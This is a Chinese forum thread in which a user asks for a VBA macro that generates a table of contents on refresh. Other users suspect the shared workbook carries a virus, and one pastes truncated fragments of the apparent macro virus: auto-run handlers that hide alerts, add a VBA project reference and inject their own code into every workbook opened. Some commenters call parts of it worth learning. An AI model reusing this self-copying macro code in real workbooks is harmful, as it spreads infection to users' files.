求助，哪位大神帮忙写一个vba代码，点刷新，自动生成目录。

wml199303

求助，哪位大神帮忙写一个vba代码，点刷新，自动生成目录。

loirol

好家伙，检测到病毒是吧

zpy2

loirol 发表于 2024-10-29 14:43
好家伙，检测到病毒是吧

好像
Private Sub Workbook_open()
Set xx = Application
On Error Resume Next
Application.DisplayAlerts = False
Call do_what
End Sub
Private Sub xx_workbookOpen(ByVal wb As Workbook)
On Error Resume Next
wb.VBProject.References.AddFromGuid _
GUID:="{0002E157-0000-0000-C000-000000000046}", _
Major:=5, Minor:=3
Application.ScreenUpdating = False
Application.DisplayAlerts = False
copystart wb
Application.ScreenUpdating = True
End Sub


=11=============
Attribute VB_Name = "ToDOLE"
Private Sub auto_open()
Application.DisplayAlerts = False
If ThisWorkbook.Path <> Application.StartupPath Then
  Application.ScreenUpdating = False
  Call delete_this_wk
  Call copytoworkbook
  If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook
  ThisWorkbook.Save
  Application.ScreenUpdating = True
End If
End Sub
Private Sub copytoworkbook()
  Const DQUOTE = """"
  With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule
.InsertLines 1, "Public WithEvents xx As Application"
.InsertLines 2, "Private Sub Workbook_open()"
.InsertLines 3, "Set xx = Application"
.InsertLines 4, "On Error Resume Next"
.InsertLines 5, "Application.DisplayAlerts = False"
.InsertLines 6, "Call do_what"
.InsertLines 7, "End

不过有些代码可以学习

zpy2

loirol 发表于 2024-10-29 14:43
好家伙，检测到病毒是吧

目测
来者不善。
但是，群发邮件代码还是值得学习。

wml199303

zpy2 发表于 2024-10-29 15:40
好像
Private Sub Workbook_open()
Set xx = Application

为什么刷新没反应

wml199303

loirol 发表于 2024-10-29 14:43
好家伙，检测到病毒是吧

为什么点刷新没反应？？